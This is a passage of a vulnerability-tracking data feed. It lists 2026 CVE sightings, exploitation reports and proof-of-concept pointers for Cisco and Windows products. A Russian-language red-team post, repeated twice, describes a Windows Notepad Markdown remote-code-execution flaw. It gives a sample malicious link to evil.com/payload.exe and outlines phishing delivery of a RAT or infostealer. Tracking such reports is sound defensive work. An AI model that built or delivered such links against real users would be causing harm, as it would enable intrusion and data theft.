"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-13)", "content": "", "creation_timestamp": "2026-09-14T10:15:08.703099Z"}, {"uuid": "318c89fd-1d40-4f92-83d6-a0c98d24f7e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20079", "type": "seen", "source": "https://bsky.app/profile/oxfemale.bsky.social/post/3mvicwntbw42m", "content": "Original text: \"Active exploitation of Cisco Secure Firewall Management Center vulnerabilities\" \u2014 Cisco Talos, Cisco Talos Blog (9 September 2026; modified 10 September 2026). Advisories: CVE-2026-20079, CVE-2026-20316. \nhttps://core-jmp.org/2026/09/cisco-fmc-cve-2026-20079-20316-talos-exploitation/", "creation_timestamp": "2026-09-14T14:26:47.384339Z"}, {"uuid": "d55bfed0-d8bc-479e-a1e2-01070f8c9cc7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/oxfemale.bsky.social/post/3mvicwntbw42m", "content": "Original text: \"Active exploitation of Cisco Secure Firewall Management Center vulnerabilities\" \u2014 Cisco Talos, Cisco Talos Blog (9 September 2026; modified 10 September 2026). Advisories: CVE-2026-20079, CVE-2026-20316. \nhttps://core-jmp.org/2026/09/cisco-fmc-cve-2026-20079-20316-talos-exploitation/", "creation_timestamp": "2026-09-14T14:26:47.463730Z"}, {"uuid": "0c866204-860c-4539-bba0-47f0c2fcf7ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20941", "type": "published-proof-of-concept", "source": "Telegram/gE-0GBB0kiYGrYaMb2QcTMVYdqqOK5zcUTgdZJ7ydzauL8M", "content": "", "creation_timestamp": "2026-09-14T15:00:04.294768Z"}, {"uuid": "f39b6fd1-e12c-4372-bf94-eb4a50bd0a7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "published-proof-of-concept", "source": "Telegram/bc1DrzcPbBACuyMONO5ewDqloJ_e8T7NaOhnZ8OzqooaHZ0", "content": "", "creation_timestamp": "2026-09-14T15:00:05.237164Z"}, {"uuid": "281a1d8e-37fa-4c9a-b429-1a2f64701a8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/technoholic.bsky.social/post/3mvigmf4zfg2e", "content": "Cisco warns of 3 threat groups exploiting two patched FMC vulnerabilities, including CVE-2026-20079 (CVSS 10), to bypass authentication and target systems. Stay updated!", "creation_timestamp": "2026-09-14T15:32:36.132487Z"}, {"uuid": "1e240187-b72f-4482-9bee-3a8a36f09210", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20353", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/117270391382884208", "content": "Welcome to Monday and two new advisories from Cisco.\nCRITICAL: CVE-2026-20353, CVE-2026-76440, and CVE-2026-76441: Cisco Secure Email Gateway and Secure Email and Web Manager Security Hardening Release: September 2026 https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hardening-esa-dfCrfXkm\nCRITICAL: CVE-2026-76461: Cisco Secure Email Gateway SQL Injection Vulnerability https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-esa-inj-2bLVGmhX\nTwo more critical vulnerabilities on the 9th and the 11th https://sec.cloudapps.cisco.com/security/center/publicationListing.x @TalosSecurity #Cisco #infosec #vulnerability \n@cR0w", "creation_timestamp": "2026-09-14T16:42:48.450168Z"}, {"uuid": "cd9c03ae-cc2e-47b3-a2d9-9470f1140324", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "published-proof-of-concept", "source": "Telegram/iNf9RoRlyQ6mB_3X-8w3IFiNbifAh7fRkxG-O1lCf95QgIk", "content": "", "creation_timestamp": "2026-09-14T20:00:06.321723Z"}, {"uuid": "4ab001d6-00d0-4e83-a020-ef4589ba55a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20353", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mvin6h3atz22", "content": "CVE-2026-20353 - cisco secure email\nCisco Secure Email and its management interface contain several flaws that could let attackers manipulate the way the system handles internal resources. This could lead to service\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#cisco #CVE #infosec", "creation_timestamp": "2026-09-14T17:30:05.153135Z"}, {"uuid": "b8a6ba94-85dc-40dc-b342-eb0476375baa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://t.me/purp_sec/1414", "content": "\ud83d\udd14 \u0421\u0435\u0433\u043e\u0434\u043d\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c CVE-2026-20841 \u0432 Windows Notepad\n\nCVE-2026-20841 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u043c Windows Notepad (Store-\u0432\u0435\u0440\u0441\u0438\u044f), \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0433\u0438\u043f\u0435\u0440\u0441\u0441\u044b\u043b\u043e\u043a \u0432 Markdown-\u0444\u0430\u0439\u043b\u0430\u0445. \u041f\u0440\u0438 \u043f\u0430\u0440\u0441\u0438\u043d\u0433\u0435 \u0438 \u0440\u0435\u043d\u0434\u0435\u0440\u0438\u043d\u0433\u0435 Markdown Notepad \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0441\u0441\u044b\u043b\u043a\u0438 \u0432\u0438\u0434\u0430 [text](scheme://payload)= \u0438 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u043c protocol handlers. \u0412\u043c\u0435\u0441\u0442\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u043c\u0438 \u0441\u0445\u0435\u043c\u0430\u043c\u0438 (http/https) \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u043d\u0435\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0435, \u043a\u0430\u0441\u0442\u043e\u043c\u043d\u044b\u0435 \u0438\u043b\u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u043f\u0430\u0441\u043d\u044b\u0435 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f ms-*, search-ms:, \u0430 \u0442\u0430\u043a\u0436\u0435 UNC-\u043f\u0443\u0442\u0438.\n\n\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d \u0437\u0430\u043f\u0443\u0441\u043a \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0431\u0435\u0437 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f. \u0417\u0430\u0431\u0430\u0432\u043d\u043e, \u0447\u0442\u043e \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0439 notepad.exe (\u0441\u0438\u0441\u0442\u0435\u043c\u043d\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f) \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d. \u0412 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u044f\u0440\u044b\u0435 \u0440\u0435\u0442\u0440\u043e\u0433\u0440\u0430\u0434\u044b \u043c\u043e\u0433\u0443\u0442 \u0441\u043f\u0430\u0442\u044c \u0441\u043f\u043e\u043a\u043e\u0439\u043d\u043e. \ud83e\udd23\n\n\u2b07\ufe0f \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f\n\n\u23fa\u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441\u043e\u0437\u0434\u0430\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 .md-\u0444\u0430\u0439\u043b \u0441 \u0433\u0438\u043f\u0435\u0440\u0441\u0441\u044b\u043b\u043a\u043e\u0439, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440: [Click me](malicious-protocol://evil.com/payload.exe), \u043b\u0438\u0431\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 UNC-\u043f\u0443\u0442\u044c \u0438\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a \u0444\u0430\u0439\u043b\u0430.\n\u23fa\u0424\u0430\u0439\u043b \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0436\u0435\u0440\u0442\u0432\u0435 (\u0444\u0438\u0448\u0438\u043d\u0433, \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u043c\u0435\u0441\u0441\u0435\u043d\u0434\u0436\u0435\u0440\u044b, \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0435 \u0448\u0430\u0440\u044b).\n\u23fa\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 .md \u0432 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u043c Notepad, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0440\u0435\u043d\u0434\u0435\u0440\u0438\u0442 Markdown \u0438 \u0434\u0435\u043b\u0430\u0435\u0442 \u0441\u0441\u044b\u043b\u043a\u0438 \u043a\u043b\u0438\u043a\u0430\u0431\u0435\u043b\u044c\u043d\u044b\u043c\u0438.\n\u23fa\u041f\u0440\u0438 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0435 \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0435 (\u0438\u043d\u043e\u0433\u0434\u0430 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f Ctrl+Click) \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432\u044b\u0437\u043e\u0432 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e protocol handler.\n\u23fa\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0438/\u0438\u043b\u0438 \u0437\u0430\u043f\u0443\u0441\u043a \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\u23fa\u0412\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434: RAT, \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a, \u0438\u043d\u0444\u043e\u0441\u0442\u0438\u043b\u0435\u0440, \u0431\u0435\u043a\u0434\u043e\u0440 \u2014 \u0441 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u0435\u0439 \u0438\u043b\u0438 \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u0435\u043c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u2b07\ufe0f \u041f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c RCE \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u0440\u0438 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u043c \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0438. \u041e\u0431\u044b\u0447\u043d\u044b\u0439 Markdown-\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u0432\u0435\u043a\u0442\u043e\u0440 \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0438 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043a\u0430\u043a \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443. \u0412 \u0446\u0435\u043b\u043e\u043c \u043e\u0447\u0435\u043d\u044c \u0443\u0434\u043e\u0431\u043d\u044b\u0439 low-friction entry point.\n\n\ud83d\udcac \u041f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 PoC \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d + \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b \u043f\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.\n\n#red_team #Notepad", "creation_timestamp": "2026-09-14T18:00:07.041060Z"}, {"uuid": "85ca1026-0295-4662-ac9f-b12ad2ec5051", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20353", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvipdeavle2t", "content": "\ud83d\udea8 CVE-2026-20353 \u2014 CVSS 9.8 CRITICAL\n\nAs part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Email Gat...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-20353\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-14T18:08:38.564119Z"}, {"uuid": "dc6eb5fb-7bd1-4d62-8b31-f58177b23c1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20941", "type": "published-proof-of-concept", "source": "Telegram/JQD0C8Yx27tRSZoKZpdm0Z4-Mq7L_VGqhn-eJGwBkI0rYps", "content": "", "creation_timestamp": "2026-09-14T20:00:05.782162Z"}, {"uuid": "742017f9-af84-4571-8efd-8b4834e8a022", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20353", "type": "seen", "source": "https://www.acn.gov.it/portale/w/cisco-sfuttamento-in-rete-della-cve-2026-76461-relativa-a-secure-email-gateway", "content": "", "creation_timestamp": "2026-09-14T20:45:09.785674Z"}, {"uuid": "b4bee249-0ee2-41b1-babb-61637688ad43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "published-proof-of-concept", "source": "Telegram/bc1DrzcPbBACuyMONO5ewDqloJ_e8T7NaOhnZ8OzqooaHZ0", "content": "", "creation_timestamp": "2026-09-15T00:00:20.997192Z"}, {"uuid": "b5e6a782-7570-480e-9197-570c3ceeff30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20516", "type": "published-proof-of-concept", "source": "Telegram/0phjcISM7xaEvPyzzbSiHps9Ynh5NA4Z3_XacHD49buP-a4", "content": "", "creation_timestamp": "2026-09-15T00:00:21.475568Z"}, {"uuid": "ad5b2a27-f898-413d-865a-40a750f5d954", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "published-proof-of-concept", "source": "https://t.me/purp_sec/1414", "content": "\ud83d\udd14 \u0421\u0435\u0433\u043e\u0434\u043d\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c CVE-2026-20841 \u0432 Windows Notepad\n\nCVE-2026-20841 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u043c Windows Notepad (Store-\u0432\u0435\u0440\u0441\u0438\u044f), \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0433\u0438\u043f\u0435\u0440\u0441\u0441\u044b\u043b\u043e\u043a \u0432 Markdown-\u0444\u0430\u0439\u043b\u0430\u0445. \u041f\u0440\u0438 \u043f\u0430\u0440\u0441\u0438\u043d\u0433\u0435 \u0438 \u0440\u0435\u043d\u0434\u0435\u0440\u0438\u043d\u0433\u0435 Markdown Notepad \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0441\u0441\u044b\u043b\u043a\u0438 \u0432\u0438\u0434\u0430 [text](scheme://payload)= \u0438 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u043c protocol handlers. \u0412\u043c\u0435\u0441\u0442\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u043c\u0438 \u0441\u0445\u0435\u043c\u0430\u043c\u0438 (http/https) \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u043d\u0435\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0435, \u043a\u0430\u0441\u0442\u043e\u043c\u043d\u044b\u0435 \u0438\u043b\u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u043f\u0430\u0441\u043d\u044b\u0435 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f ms-*, search-ms:, \u0430 \u0442\u0430\u043a\u0436\u0435 UNC-\u043f\u0443\u0442\u0438.\n\n\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d \u0437\u0430\u043f\u0443\u0441\u043a \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0431\u0435\u0437 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f. \u0417\u0430\u0431\u0430\u0432\u043d\u043e, \u0447\u0442\u043e \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0439 notepad.exe (\u0441\u0438\u0441\u0442\u0435\u043c\u043d\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f) \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d. \u0412 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u044f\u0440\u044b\u0435 \u0440\u0435\u0442\u0440\u043e\u0433\u0440\u0430\u0434\u044b \u043c\u043e\u0433\u0443\u0442 \u0441\u043f\u0430\u0442\u044c \u0441\u043f\u043e\u043a\u043e\u0439\u043d\u043e. \ud83e\udd23\n\n\u2b07\ufe0f \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f\n\n\u23fa\u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441\u043e\u0437\u0434\u0430\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 .md-\u0444\u0430\u0439\u043b \u0441 \u0433\u0438\u043f\u0435\u0440\u0441\u0441\u044b\u043b\u043a\u043e\u0439, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440: [Click me](malicious-protocol://evil.com/payload.exe), \u043b\u0438\u0431\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 UNC-\u043f\u0443\u0442\u044c \u0438\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a \u0444\u0430\u0439\u043b\u0430.\n\u23fa\u0424\u0430\u0439\u043b \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0436\u0435\u0440\u0442\u0432\u0435 (\u0444\u0438\u0448\u0438\u043d\u0433, \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u043c\u0435\u0441\u0441\u0435\u043d\u0434\u0436\u0435\u0440\u044b, \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0435 \u0448\u0430\u0440\u044b).\n\u23fa\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 .md \u0432 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u043c Notepad, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0440\u0435\u043d\u0434\u0435\u0440\u0438\u0442 Markdown \u0438 \u0434\u0435\u043b\u0430\u0435\u0442 \u0441\u0441\u044b\u043b\u043a\u0438 \u043a\u043b\u0438\u043a\u0430\u0431\u0435\u043b\u044c\u043d\u044b\u043c\u0438.\n\u23fa\u041f\u0440\u0438 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0435 \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0435 (\u0438\u043d\u043e\u0433\u0434\u0430 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f Ctrl+Click) \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432\u044b\u0437\u043e\u0432 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e protocol handler.\n\u23fa\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0438/\u0438\u043b\u0438 \u0437\u0430\u043f\u0443\u0441\u043a \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\u23fa\u0412\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434: RAT, \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a, \u0438\u043d\u0444\u043e\u0441\u0442\u0438\u043b\u0435\u0440, \u0431\u0435\u043a\u0434\u043e\u0440 \u2014 \u0441 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u0435\u0439 \u0438\u043b\u0438 \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u0435\u043c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u2b07\ufe0f \u041f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c RCE \u0441 